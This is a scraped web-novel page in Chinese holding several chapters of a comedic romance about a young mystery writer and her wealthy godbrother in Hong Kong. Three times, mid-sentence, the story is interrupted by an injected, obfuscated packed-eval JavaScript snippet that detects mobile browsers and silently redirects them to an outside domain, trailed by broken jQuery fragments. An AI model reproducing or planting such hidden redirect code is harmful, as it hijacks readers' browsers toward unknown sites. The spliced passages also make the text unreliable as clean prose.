直到他好几岁了,才有狗仔拍到裴家多了一个小孩子。裴家这才公开声明说他是裴家大小姐裴蕴仪的儿子。但是裴蕴仪常年住在国外,一直没有结婚,忽然变出这么大一个生父不详的儿子,很多人都觉得很古怪。
有人说他根本不是裴蕴仪的儿子,他其实是他公公裴明德的私生子,也有人说他是他舅父裴蕴仁的私生子。”
池镜心大为震撼:“这么复杂啊……我小时候从没听他讲过他家里的事,他不爱说这些。”
她忽然想起来,裴清昀小时候跟其他豪门少爷是有些不一样。出身好的小孩大多性格骄矜,表面上再讲礼貌,骨子里依然透着傲慢。
但裴清昀小时候看起来挺阴郁的,不爱说话,在面对池镜心的母亲池若颐时,他甚至会流露出一种小心翼翼的讨好感。
小时候的池镜心不喜欢他,故意欺负他,他也默默忍受,从不跟她计较,甚至每次来她家还会给她带礼物,试图化敌为友。
这种温良无害忍辱负重的小受气包,实在不像是大富大贵之家能养出来的小孩。
秦铠澄继续说着有关裴清昀的八卦:“他现在不是担任鼎钧集团的董事局主席嘛,其实当年他公公退休后,应该是他舅父裴蕴仁上位的。但据说裴蕴仁在一夜之间精神出了问题,死活闹着要出家,这才换裴清昀上位。
坊间一直有传言说是他把他舅父给害成了精神病,还把他舅父给囚禁在了裴家的家庙优昙寺里,他舅父的儿子裴清融也被他发配去了非洲。”
池镜心倒吸一口凉气:“这什么豪门狗血悬疑大剧!”
难道小时候那只温良无害忍辱负重的小受气包,已经黑化成了邪恶大魔头?
池镜心抬头看了一眼天花板,平生第一次对楼上的裴清昀产生了莫大的好奇。
她身为侦探事务所调查员的职业病正蠢蠢欲犯,当即打定了主意,要在这里住到查出真相为止。搞不好裴家的豪门恩怨还可以为她的下一篇推理小说提供灵感和素材。
此时楼上的裴清昀完全不知道自己已经被池镜心当成了写作素材。他侧卧在床上,怎么都睡不着。今天被池镜心气得太狠,他现在太阳穴都还在突突的疼。
他想起了小时候,池镜心就是一个问题儿童。他听契妈和程叔讲过,池镜心在学校里的表现非常离谱。
不按时完成作业,考试只写一半的题,上课从来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036717|178722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不听课,自己在下面偷偷摸摸地写故事画画,逃避所有的集体活动……
一旦有男生犯贱惹到她,她就会瞬间情绪失控,追着人家打。人家小男生都躲到男厕所去了,她还要不管不顾地冲进去,把人揪出来暴揍一顿,男厕所里的男老师都被她吓得尿到了裤子上……
因种种战绩太辉煌,老师把池若颐和程文睿叫去了学校,说池镜心脑子可能有点毛病,建议带去检查一下。
池若颐还真带她去检查了,医生说这孩子确实有问题,她是ADHD患者。
到了池镜心九岁那年,她已经非常抗拒上学了,学校里的老师也非常抗拒见到她。没办法,她父母只好给她申请了在家接受教育。从那以后她就再也没去过学校。
裴清昀以为她至少能上个大学的。小时候他给池镜心辅导过功课,发现她虽然注意力不行,但智商还挺高的,就算自学成绩也还不错。如果契妈没有去世,一直陪着她管着她,她现在应该已经考上名校了吧。
想到这里,裴清昀叹了口气,下定决心要替已逝的契妈好好管教池镜心,监督她明年务必考上大学。
第二天早上,池镜心在一楼客卧醒来,伸了个懒腰,只觉得神清气爽。她一向不认床,睡眠质量极好,裴家的床垫又是上百万的贵货,舒适度拉满,她这一晚睡得那叫一个香甜。
去客卧自带的卫生间洗漱完毕,她来到一楼餐厅。此时裴家的佣人们正在摆放早餐。透过落地窗,她看到裴清昀站在前院里,正在撸一只毛茸茸胖嘟嘟的浅金色大金毛。
池镜心眼睛一亮,立刻冲了过去,问:“它就是阿智吗?”
裴清昀淡淡地嗯了一声。
池镜心发现裴清昀两只手都戴着透明的一次性手套,有些不解:“你是在给阿智上药吗?”
裴清昀:“不是。”
池镜心:“那你为什么戴着一次性手套?”
裴清昀:“我有轻微的洁癖。”
池镜心:“……”
阿智被主人一下一下揉着大脑壳,舒服到眼睛都眯了起来,咧着嘴吐着舌头。它试图去舔一下裴清昀的手腕,裴清昀立刻捏住它的嘴筒子,发出严肃警告:“不许舔。”
阿智实在太想跟他亲近,又抬起爪子试图去搭他的腿,裴清昀再次严正警告:“不许碰我。”
阿智委屈巴巴地低下了头,缩成了可怜又无助的一大团。
池镜心看着这一人一狗的互动,一脸震惊:“我天,你洁癖还养什么狗啊?这狗跟着你真是遭罪!撸个狗还要戴手套,不让舔也不让碰的,你这分明是在虐待它!”
裴清昀冷淡地瞥了她一眼:“虐待?它一个月开销大几万,你的生活质量应该还不如它。”
“情感虐待也是虐待!”池镜心冲阿智招了招手,“阿智,到姐姐这里来,姐姐陪你玩。”
裴清昀好心提醒她:“你确定你要当它姐姐?我可是它爹。”
池镜心顿了一秒,果断改口:“阿智,到阿嫲(奶奶)这里来。”
裴清昀:“……”
这世道,到底还是老实人吃亏。他不想占池镜心便宜,池镜心却毫不客气地占起了他的便宜。他莫名其妙又多了一个妈。
阿智乐颠颠地跑去了池镜心身边,池镜心兴奋地大力度揉它,搓它。阿智也很快跟着兴奋起来,激动得蹦来蹦去,汪汪叫唤。
裴清昀皱起了眉:“你不要这么激动地跟它玩。”
“你懂什么呀!狗狗就是要这样玩的,你看它现在多开心!”
裴清昀欲言又止,最终他什么都不想说了,开始倒计时:“三,二,一。”
池镜心正想问他在倒计时什么,最后一个“一”字话音刚落,阿智身下就射出一股尿液,笔直地落到了池镜心的裤腿上。
“啊!!!!”
池镜心的尖叫声划破长空,险些惊飞整座渣甸山的鸟群。
裴清昀一脸冷漠,又带着淡淡的嘲讽:“都说了叫你不要这么激动地跟它玩,它会尿出来的。”
池镜心哀嚎着跑回客卧换裤子,阿智一脸无辜地坐在清晨的阳光里摇尾巴。
这对伪兄妹同住一个屋檐下的日子,就在一片鸡飞狗跳中正式开启了。
7. 发誓
池镜心回客房脱了脏裤子,反复用沐浴露搓洗自己的小腿,皮都快搓掉一层了,才换上干净的裤子走出房门。
裴清昀已经坐在餐厅里开始用餐了。他面前摆放的是全套英式早餐,血布丁、烤蘑菇、吐司、早餐茶等。
餐桌另一侧摆放着丰盛的早茶,金鱼饺、墨鱼丸、滑鸡粥、黑金流沙包、瑶柱灌汤饺、黄糖豆腐花……林林总总占据了大半张餐桌。
池镜心直接给干沉默了。昨晚温迪问她早上想吃什么,她随口说了句“随便吃点中式的就行”,没想到裴家的厨师直接给她整了一桌豪华早茶。
“愣着干什么?你不吃早饭的?”裴清昀见她傻站着,有些莫名其妙。
“吃,怎么不吃。”
池镜心拉开椅子坐下,端起滑鸡粥喝了一口,好吃到她差点流眼泪。她正要声情并茂地为裴家厨师朗诵一篇即兴赞美诗,裴清昀先开口了。
“你考过DSE没?”裴清昀问。
DSE相当于是港岛的高考。DSE考试成绩可用于申请港岛本地的22所高校,以及内地和海外的上百所高校。
“两年前考过一次。怎么了?”池镜心抬头看向他。
“把你的考试成绩发我看看。”
池镜心的网盘里还存着两年前的成绩截图。她当即把图片找了出来,发给了裴清昀。
昨晚他们已经交换过联系方式。裴清昀手机上收到提示,“邪恶比格”给他发了一张图片。
邪恶比格?他这才留意到池镜心的网名。别说,这名字起得……很有自知之明。
他点开图片一看,当即就□□沉默了,久久未能言语。
这个难评的成绩……他实在是不知道,该夸她是天才,还是该骂她是智障。
“你这个成绩……”裴清昀深吸了一口气,诚心诚意地发问,“你是怎么做到的?”
“什么怎么做到的?”池镜心表情茫然。
成绩单上,池镜心的物理和化学都是满分七分,数学六分,中文五分,这几科都考得不错;英文差一些,只有三分,但也不算差得离谱;最离谱的是她的公民科,居然未达标!难怪她没有考上大学!
裴清昀感到匪夷所思:“我查了一下,你参加DSE考试的那一年,全港岛考生的公民科达标率,是93.7%。”
“所以呢?”池镜心咀嚼着虾饺,眨了眨清澈的大眼睛。
“所以你个智障为什么没有达标!”
裴清昀看到她这副事不关己的样子就气不打一处来,啪的一声将手机拍在了大理石餐桌上。
“你知道的,我读书主要靠自学。公民科对我来说太枯燥了,我一学就想打瞌睡。我在网上搜了一下,网友都说公民科不用学,照抄材料都能达标,然后我就没有学过这门科目。
谁知道……我考试的时候照抄材料居然抄了个未达标。这不能怪我啊,都是网上那些人妖言惑众误导了我。”
裴清昀强忍着掐死她的冲动,继续问:“那去年你为什么不重考一次?”
“这个嘛……”池镜心有些不好意思地挠了挠脑袋,“去年我是打算以自修生的身份报名重考的。结果我太忙了,不小心错过了报名时间。”
裴清昀疲惫地搓了一把脸,太阳穴又开始隐隐作痛了。他反复劝解自己,不要跟池镜心一般见识,她脑子跟正常人不一样。粗心大意,丢三落四,都是ADHD患者的老毛病,他要试着理解她。
“今年呢?今年重考了吗?”
“没有,隔了这么长时间,我感觉知识点都忘光了,就不想考了。”
裴清昀沉默了片刻,决定还是表扬一下她的优点,搞点鼓励式教育,免得给孩子整自卑了。
“你物理和化学学得挺好。”他淡淡开口。
池镜心咧嘴一笑,立刻得意起来:“那是。物理和化学可得好好学,好多杀人手法都得用到物理和化学原理。”
“……”裴清昀再度沉默了。
鼓励式教育?鼓励不了一点。这孽障都打算杀人了,他要不先杀了她为民除害算了。
他目光笔直地望向池镜心,冷静发问:“你想杀谁?”
“杀你。”池镜心手里捧着黑金流沙包,笑嘻嘻地看着他,“我要先骗你跟我注册结婚,然后把你杀了,这样你的财产就都是我的了。”
裴清昀没搭理她的胡言乱语,继续问:“你的英文为什么这么烂?”
“因为我不喜欢背单词。那些英语阅读材料又长又枯燥,还有好多我不认识的单词,我读着读着就烦了,就随便答了。还有聆听部分也是,我听着听着就走神了,最后只能乱答一通。”
池镜心做事全凭兴趣。她感兴趣的科目,比如物理和化学,可以帮助她设计推理小说中的核心诡计,她就会学得非常好;她不感兴趣的科目,如英文和公民科,怎么学都学不进去,只能摆烂。
“行吧。”裴清昀点点头。了解完池镜心的学业情况,他开始正式通知她:
“从现在开始,我会给你找几个老师辅导你的功课,重点补习你的英文和公民科。我会全程监督你的补课进程。下一次DSE考试,你必须老老实实认认真真给我考完,明年无论如何你都得去读大学了。”
池镜心愣住了:“读大学?我什么时候说我要读大学了?”
“我说的。”裴清昀一副理所应当的态度。
池镜心气笑了:“不是,你当霸道总裁有瘾是吧?我又不是你的员工,你凭什么命令我?”
裴清昀思索了片刻,没有跟她互怼,而是神色颇为认真地问:“你为什么不想读大学?”
“我……”迎着裴清昀那诚恳的目光,池镜心犹豫一瞬,选择了实话实说,“你知道的,我小时候在学校里表现得特别差劲,很早就不去上学了。我怕我适应不了大学生活,中途辍学,那岂不白白浪费了那么多时间金钱精力。”
“不用担心。”裴清昀难得和颜悦色,“你考上大学后,在学校里遇到任何困难,我都会尽力给你提供帮助和支持,确保你顺利毕业。”
池镜心歪着脑袋考虑了一会儿。其实本来她都不打算读大学了,她自制力不行,已经很久没温书了。眼下她的便宜哥哥主动提出要监督她考大学,要不然……就再考一次?
“那……我可以试试再考一次。不过你别请补课老师,我根本听不了别人给我讲课,人家一开口我就走神,还没我自学效率高。”
“可以。”裴清昀见她松了口,也爽快地做出了让步。
反正池镜心学得最差的科目就是英文和公民科,他英文是母语水平,完全可以亲自辅导她;至于公民科,他从小读国际学校,没学过这个科目,但听说内容非常简单,他亲自教她也不成问题。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036718|178722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
解决了这桩大事,裴清昀心情终于愉悦起来。他端起早餐茶喝了一口,用闲聊的语气问:“你有什么喜欢的学校和专业吗?”
“还真有。我想读港岛大学的犯罪学专业。”池镜心笑嘻嘻地看着他。
裴清昀眉心一跳:“犯罪学?学这个干嘛?帮助你更好地犯罪吗?”
当然是为了帮助她更好地创作推理小说啦。池镜心不说实话,只一味任性:“要你管!我就要学这个,考不上这个专业我就不去读大学了!”
裴清昀:“……”
他想劝她换个更容易就业的热门专业,转念一想,还是算了。她这性格,读自己不感兴趣的专业只怕毕不了业。犯罪学就犯罪学吧,大不了毕业后在鼎钧集团给她安排一份工作。
“今天你有空吗?”裴清昀问。
“有空。怎么了?”
目前事务所的委托都由其他人在负责,池镜心暂时闲下来了。这份工作虽然薪水低,但胜在空闲时间多,让她有空创作推理小说。这也是她能在这个事务所工作两年之久的原因之一。
裴清昀回道:“待会儿我们去一趟浩园,去看望一下你母亲。”
“前几天清明节我已经去过了。”
“再去一次。”
吃完早饭,裴清昀带着池镜心出发去了浩园。
一路上天色阴沉,狂风阵阵,似乎是要下雨了。在这种天气去墓园,别有一番风味。
来到池若颐的墓前,裴清昀转过身看向池镜心,冷声道:“跪下。”
池镜心一愣,继而勃然大怒:“你变态啊?!”
裴清昀比她更愤怒:“我是让你给你母亲跪下!你脑子里都装了些什么东西!”
狂风呼啸而过,一时间场面有些尴尬。
池镜心低下头默默自我检讨了一秒。怪她,最近恰好看了点小众癖好的电影。
她麻溜的在池若颐的墓前跪了下来。跪自己的母亲,她没有任何心理障碍。
裴清昀继续命令她:“把右手举起来,竖起三根手指。”
池镜心将食指和大拇指圈起来,中指、无名指和小手指竖起来,她看向裴清昀,问:“是这样吗?”
裴清昀忍无可忍,再次冲她咆哮:“你比个OK做什么?!把中间三根手指竖起来!”
池镜心小声嘟囔:“是你自己指令给得不清不楚的。”
竖起中间三根手指,是发誓的意思。
裴清昀的太阳穴又开始疼了。怎么会有人比阿智还听不懂人话的?哦不对,差点忘了,她不是人,她是邪恶比格。
等池镜心将手指改了过来,裴清昀继续道:“现在,跟你母亲发个誓,说你以后一定遵纪守法,不做任何违背法律和道德的事,不跟任何不三不四的人来往,今后你一定认真读书,明年全力以赴考个好学校。如果违背了今日的誓言……”
裴清昀居高临下地瞥了她一眼,语气阴狠:“就让雷把你劈死。”
他话音刚落,阴沉的天空闪过一丝亮光,可怖的雷声炸响天际。
池镜心:“……”
这道雷来得……也太巧了吧。仿佛迫不及待要劈死她。
她自认不会违背法律,但会不会违背道德,那可就说不准了。
她天生缺德,远的不说,这几天她就没少把裴清昀耍得团团转。这样的毒誓,她还真不敢发。
8. 真相
见池镜心一直沉默着不开口,裴清昀问:“怎么?心虚了吗?”
池镜心抬头看向他,神色十分认真:“哥,这个誓不能发。”
“怎么不能发?”裴清昀挑了挑眉。
“对我的名誉不好。你听我给你解释,誓言能否成真,其实就是一种玄学,根本没有科学依据。就算我不违背法律和道德,我也是有可能被雷劈死的。
但是我一旦发了这个誓,日后哪天我被雷劈死了,大家肯定会说是我干了什么见不得人的勾当,违背了誓言,所以才会被雷劈死。那我就太惨了啊!不仅命没了,死后还要被人泼脏水!”
裴清昀静静听完她的解释,冷笑了一声:“你倒是能言善辩,别去学犯罪学了,学法律当律师比较适合你。不过……”他话锋一转,“你今日发的誓,只有天知地知你知我知,有谁会给你泼脏水呢?”
池镜心往他身后一指:“你带来的这群保镖也都听着呢!他们在你眼里不算人吗?!你们这些冷血资本家什么时候能把打工人当人看?!”
裴清昀:“……”
不仅能言善辩,还会倒打一耙。
被池镜心指到的保镖阿锋连连摆手:“我什么都没听见!我就是个NPC,不用管我!”
其他几个保镖也跟着表态:
“对对对,我也什么都没听见。”
“我们什么都不知道。”
……
池镜心:“……”
“行了,”裴清昀到底还是先做了让步,“不用发毒誓,你认认真真地向你母亲做个承诺就行。日后你要是脑子犯糊涂想走歪路,就好好想想今天你对你母亲承诺过的话。”
见他松了口,池镜心也不再缠磨,望着母亲的遗像乖乖承诺:“妈咪,我以后一定遵纪守法,不做任何违背法律和道德的事,不跟任何不三不四的人来往,今后我一定认真读书,明年全力以赴考个好学校。”
说完她抬头看向裴清昀:“行了吧?”
裴清昀没看她。他神色肃穆,也在池若颐的墓前跪了下来,望着池若颐的遗像认真道:“契妈你放心,今后我一定会好好监督阿心,让她好好学习,好好工作,平平稳稳地过完这一生。”
池镜心看着他这般严肃认真的样子,莫名有些触动。虽然她从小就不太喜欢这位便宜哥哥,但不得不承认,裴清昀对她母亲的感情真的很深很诚挚,说是亲儿子也不为过。
这也正是她讨厌裴清昀的原因。你一个契仔,老在我妈面前晃悠,比我这个亲生女儿还孝顺懂事贴心优秀,几个意思啊?是想抢走我妈吗?怎么你自己没妈吗?非要来抢别人的。
其实池若颐生前从来不拿裴清昀和池镜心做比较,就算自己的女儿是个小魔王她也不会少爱她一分。但耐不住小时候的池镜心占有欲巨强,不容许任何人跟她抢夺母亲的关注。
天空越发阴沉,暴雨在即。
池镜心和裴清昀都站了起来,离开了浩园。
刚上车,池镜心忽然想起昨晚秦铠澄提到的裴清昀的身世之谜,她心里升起一个念头。
她看向裴清昀:“这会儿时间还早,你带我去优昙寺玩会儿好不好?我一直很想去优昙寺,但那里是你家的家庙,平时不接待外人,只能麻烦你带我过去啦。”
裴清昀不解:“去那干嘛?你信佛?”
“没有。我就是听说你舅父现在在优昙寺修行,我对他好感兴趣啊,好想见见他。”
裴清昀脸色顿时变了。
池镜心见他这反应,心里咯噔一下,心想难道外面的传言都是真的?他真的把他舅父囚禁在优昙寺里?我天这可是刑事案件啊!还有脸叫我不要违背法律,他自己倒是什么杀人放火的事都干了!
此刻裴清昀想的却是:之前就撞见阿心跟一个糟老头子共进晚餐,现在她又说对他舅父感兴趣,难道这杀千刀的孽障有什么特殊癖好?
裴清昀惊疑不定,问:“你跟我说实话,你是不是有恋老癖?”
“啊?!”池镜心直接被他给问懵了。
这人的脑回路到底是怎么长的?也太性缘脑了吧……
“没……没有啊。”池镜心磕磕绊绊地解释,“我就是单纯的好奇,你舅父这种富家子弟,居然放弃千亿家产,跑去庙里修行,简直就是当代乔达摩·悉达多。这种传奇人物,我想认识一下不行啊?”
裴清昀冷冷一笑:“当代乔达摩·悉达多?你也太看得起他了。他就是个没什么本事的懦夫罢了。”
池镜心小心翼翼地试探:“干嘛这么说他?你对你舅父很不满?”
“没有不满,只是实话实说罢了。当初我公公婆婆是打算让他继承家业的,谁成想他能力太差,把集团搞得亏损连连。
恰好那段时间他妻子也因病去世了,他承受不住连番的打击,索性撂挑子不干了,死活闹着要出家。一个中年人,遇到挫折只知道逃避,不是懦夫是什么?”
哈?所以真相其实是这么回事?池镜心接着试探:“所以你就趁机上位了?”
“什么叫我趁机上位?当我很想给裴蕴仁收拾烂摊子么?”
裴清昀一想起当初的事就窝火,语气十分不爽,“当时我都打算定居国外不回来了,是我公公谎称自己病危,把我骗回来的。一回来他们就逼着我接手家业,把我的人生规划全给打乱了。”
池镜心很是诧异。居然是这样……跟TVB拍的豪门争产剧完全不一样嘛。
她安慰道:“这也是你公公婆婆对你能力的肯定嘛,不然他们怎么不逼你舅父的子女接班呢?”
裴清昀冷哼了一声:“我舅父的那一双儿女,更是卧龙凤雏。让他俩接班,只怕裴家垮得还要更快一些。”
池镜心沉默不语。虽然真相极有可能就是裴清昀说的这样,但她还是想去优昙寺实地考察一下。
“我们还是去一趟优昙寺吧。我想去拜拜佛,求佛祖保佑我明年考个好学校。”
裴清昀看了她一眼,缓缓道:“去拜一拜也好。你现在一天到晚跟中邪了似的,没个人样。也该去庙里驱驱邪了。”
司机立刻调转车头,迎着豆大的雨滴驶向优昙寺所在的方向。
到达优昙寺时,雨已经下得很大了。
狂风骤雨,荒山古寺。此情此景,仿佛穿越进了悬疑恐怖电影。
池镜心莫名感到兴奋,这样的场景太适合发生点凶杀案了,要不她下一篇推理小说就把场景设置为下雨天的荒山古寺吧。
车子停稳后,裴家的保镖迎了上来,给裴清昀和池镜心开车门、打伞。
裴蕴仁这几年都住在优昙寺里,因此优昙寺也配备了一些安保人员确保他的安全。裴清昀先前已经通知过裴蕴仁他的行程,这会儿他的车一到,寺里的安保人员立刻开门来迎接他,将他和池镜心带到了客堂。
裴家财力雄厚,将客堂修得挺大挺豪华,跟高端度假酒店的总统套房似的。
池镜心见到一个僧人打扮的中年男子坐在黄花梨圈椅上,心想这应该就是裴蕴仁了。这裴蕴仁已经有些老态了,但皮肤依然白白净净的,鼻梁高高的,一看就是没吃过苦的富家子弟。
裴蕴仁见到他俩来,问裴清昀:“下这么大雨怎么还往我这跑?这是你女朋友?”
“这是我契妈的女儿池镜心,她最近跟鬼上身了似的,神经兮兮的,我带她来驱驱邪。”
裴蕴仁把这话当了真,还真认认真真打量了池镜心一番,有些纳罕:“这小姑娘目光澄澈,灵台清明,哪里像是鬼上身了?明明就是很有灵气的一个小姑娘嘛。”
池镜心听到有人夸自己有灵气,当即乐开了花。裴清昀却不咸不淡地回道:“舅父你修行功夫不到家啊,居然没看出来她是个妖孽。”
池镜心:“……”
居然敢说我是妖孽?那我就妖孽给你看!不玩死你我是不会收手的!
三人坐在客堂里喝茶,裴蕴仁和裴清昀聊了一会儿家常。
裴蕴仁:“阿融最近联系你没?”
裴清昀:“没有。”
裴蕴仁:“他还是在非洲?”
裴清昀:“应该是吧。”
池镜心一直竖着耳朵听两人的谈话。阿融应该就是裴蕴仁的儿子裴清融吧?他居然真的在非洲。一个富家少爷跑非洲去干嘛?外界都传言是裴清昀把他发配去了非洲,真是这么回事吗?
她佯装什么都不知道,一脸好奇地问:“阿融是谁?他在非洲做什么?”
裴清昀:“我舅父的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036719|178722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
儿子,在非洲拍纪录片。”
裴蕴仁看向池镜心,神色颇有几分自豪:“我儿子拍的纪录片还拿过奖呢。”
池镜心恍然大悟,原来是在非洲拍纪录片啊。这就说得通了。
她想起以前看过一个采访,一对自费拍纪录片的夫妻说,他们靠拍纪录片成了千万富豪。记者大惊,问他俩怎么做到的。两口子说,他俩拍纪录片以前是亿万富豪。
这种烧钱又烧时间的爱好,只有富贵闲人玩得起了。
裴蕴仁忽然叹了口气:“阿融这个衰仔,从来不知道联系我,死外面算了。还是生女儿好,嘉嘉上周还来看望过我呢。”
裴清昀:“生个我妈那样的女儿,也够愁人的。”
裴蕴仁:“你妈那样的,十万个人里也找不出来一个。也不知道我们裴家造了什么孽,偏偏让我们赶上了。”
池镜心的好奇心被高高吊起。她这还是第一次听裴清昀提到自己的亲生母亲。虽然不知道这位大小姐为什么会被家人如此评价,但至少她确定了,裴清昀就是裴蕴仪亲生的,不是他公公或者舅父的私生子。
三人闲坐了一会儿,裴清昀带着池镜心去大雄宝殿拜佛上香。转眼时间便来到了中午。他俩在优昙寺吃了一顿斋饭,便一起离开了。
下午裴清昀要回公司处理工作,他想先送池镜心回渣甸山,池镜心却说把她放到商场附近就行,她要买点学习资料。
听到她说要买学习资料,俨然一副改邪归正好学生的样子,裴清昀颇感欣慰,还给她转了几千块钱用作资料费。
在车上,池镜心想起裴清昀那对神秘的父母,还是有些好奇,便假装不经意地问:“话说我们认识这么多年了,我还从来没听你提起过你父亲,你爸是做什么的啊?”
“不知道。”
“啊?”
“我不知道我父亲是谁。”
池镜心愣了片刻,有些不爽:“这怎么可能不知道?你要不想说就算了。”
“是真不知道。我妈年轻时一直在欧洲鬼混,搞乐队,开艺术展,还同时交往了很多男朋友。有一天她意外怀孕了,她都不确定孩子的父亲是谁。她本来不想生的,但那时候她迷信什么身心灵,能量疗愈。她的疗愈师跟她说,胎儿是纯净能量的化身,可以疗愈她的身心,她信以为真,就把我生下来了。
我出生后,她的好几个男友都自称是我生父。我妈觉得这些男的都只是图她钱,于是也没去查证到底哪个是真的,就把他们都撵走了。之后她就独自在欧洲抚养我。很快她就发现,养小孩的过程并不能疗愈她,反而给她添了很多麻烦,她就不是很想养了。我六岁那年,她把我扔到裴家,自己一个人回欧洲了。”
听完这段来龙去脉,池镜心目瞪口呆。这位裴家大小姐真是够任性妄为的,难怪裴家人对她有意见。
“那……那你也没有找过你的亲生父亲吗?你对他一点都不好奇吗?”
裴清昀感到莫名其妙:“找他干嘛?他没养过我一天,我还把他找回来给他养老送终?我脑子有病吗?”
池镜心没说话,她觉得他脑子确实挺有病的。他俩又不是亲兄妹,又好几年没联系了,他突然冒出来将她批评教育一番,还要监督她考大学,好像真是她亲生哥哥一样,这不是有病是什么?
裴清昀忽然叹了口气:“我妈年轻时玩得太乱了,又滥用药物,现在才五十多岁,每年的医疗支出都上千万了。你要是不及时改邪归正,下场只会比她更惨。”
池镜心:“……”
难怪絮絮叨叨地跟她讲了这么多,原来是想借他母亲的事迹来敲打她。
“对了,”裴清昀忽然想到什么,“我怎么感觉你今天对裴家的事格外感兴趣?”
“啊?没有啊。”
“你是不是在网上看了些乱七八糟的传言?”
“……没有。”池镜心矢口否认。
裴清昀笑了笑:“网上那些博眼球的八卦,都是怎么离谱怎么编。只有智商低于七十的智障,和没有接受过教育的文盲会信,你应该不是其中一员吧?”
池镜心:“……”
就你聪明!就你有文化!那你不也被我耍得团团转吗!等我掉马那天,我看你还笑得出来不!
9. 补习
司机将车停到一家商场附近的路口。池镜心下了车,直奔商场而去。
裴清昀有些不放心,在她身后喊:“不许鬼混!晚上早点回家吃饭!”
池镜心只当没听到。她找到一家书店,先是慢悠悠地挑了一本新出版的推理小说,然后又去甜品店点了两份甜品,坐下来边吃边看小说。不知不觉一下午的时间就过去了。
到了下午五点,她终于离开了甜品店,去买了几本学习资料,拎着一大袋子书离开了商场。
来到商场外的路口,她本想打个车,却被不远处的争吵声吸引了注意力。她偏过头看去,发现有一个南亚裔男子在骂一个警察,而那个警察,正是那天晚上逮捕她的阿政。
南亚裔男子:“来来去去这么多人,凭什么只查我?还说你没有歧视南亚人?我跟你说我在这里生活了十几年,你们这里的法律我都懂的,回头我就去警察投诉科投诉你滥用警权!死差佬!”
阿政眉头微皱,只低着头在手机上输入该男子的护照资料,然后将护照还给了他。
跟南亚裔男子的激动截然不同,阿政的语气十分平静:“例行截查而已,多谢配合。”
南亚裔男子一把扯过护照,还不依不饶地用手机去拍阿政制服上的警号:“我要把你的警号拍下来,你个死差佬,等着被你的上司骂死吧!”
阿政看起来没怎么生气,估计是当警察以来遇到太多这种事了。但池镜心已经气得火冒三丈了。
因为她母亲是警察的缘故,她很讨厌别人骂“死差佬”、“死差婆”这样的字眼。更何况阿政那天还帮她拿了一杯丝袜奶茶,她岂能坐视他被人侮辱。
池镜心立马冲了过去,对着南亚裔男子火气全开一顿输出:“你个法盲怎么有脸说你懂港岛的法律的?!姐今天就来给你普普法!在港岛,警察随机抽样做stopandsearch是正常职务,根本不存在滥用警权一说!
无论是本地人还是外国人,被抽查了就得乖乖配合,不然警察就有权带你回警署调查。难道你觉得你是外国人就高人一等不用被查了?还诬陷人家阿sir歧视你,明明就是你自己想要特权而已!”
池镜心口齿清晰,声音又亮,路过的人们听到她的话,纷纷对南亚裔男子指指点点。
“你……”南亚裔男子被噎得说不出话来,又不堪被众人围观指责,只得闷着头走开了。
夕阳的光辉将少女生动的脸庞染上一层金色,阿政默默注视着,心跳急剧加速。
“谢谢你帮我说话。”他回过神来,不好意思地笑了笑。
池镜心不甚在意地摆摆手:“不用谢。上次你不是帮我拿了一杯奶茶,我帮你也是应该的。”
“你还记得我啊。”阿政眼睛一亮,一脸的受宠若惊,“我叫李熙政,我们可以互换一下联系方式吗?回头有空了我请你吃个饭。”
“好啊。”池镜心没多想就把联系方式给他了。
她还挺喜欢跟警察交朋友的。这几年她经常拜访母亲以前的同事,请这些叔叔阿姨们给她讲办案时的奇遇,用作写作素材。眼下这位小警察主动要充当她的新素材库,她自然没有拒绝的道理。
阿政还要继续步巡,跟池镜心交换完联系方式便离开了。
池镜心回到渣甸山,迫不及待地找秦铠澄聊天。恰好秦铠澄这会儿也有空,两人便开了视频。
“澄澄我跟你讲,我去见过裴清昀的舅父了,网上那些传言都是假的!”
池镜心把今天收集到的信息都跟澄澄分享了一遍,最后还不忘吐槽裴清昀:“你不知道他嘴有多毒,他说只有智障和文盲才会信网上的传言。他还阴阳怪气地问我,‘你应该不是其中一员吧?’你是没见到他那个样子,简直不要太欠揍。要不是他家保镖在,我早打他了。”
视频里的秦铠澄单手托着下巴,眨巴了一下眼睛:“我感觉你俩早晚得打起来。阿心,答应我,揍他的时候不要揍他的脸。他那张脸简直是女娲的炫技之作,毁了就太可惜了。”
池镜心:“也有可能是上帝的炫技之作,毕竟他是混血。”
秦铠澄:“上帝技术哪有女娲好。”
池镜心:“或者说是女娲与上帝的联名款?”
秦铠澄:“哈哈哈对对对,集众家之所长的珍稀联名款!”
……
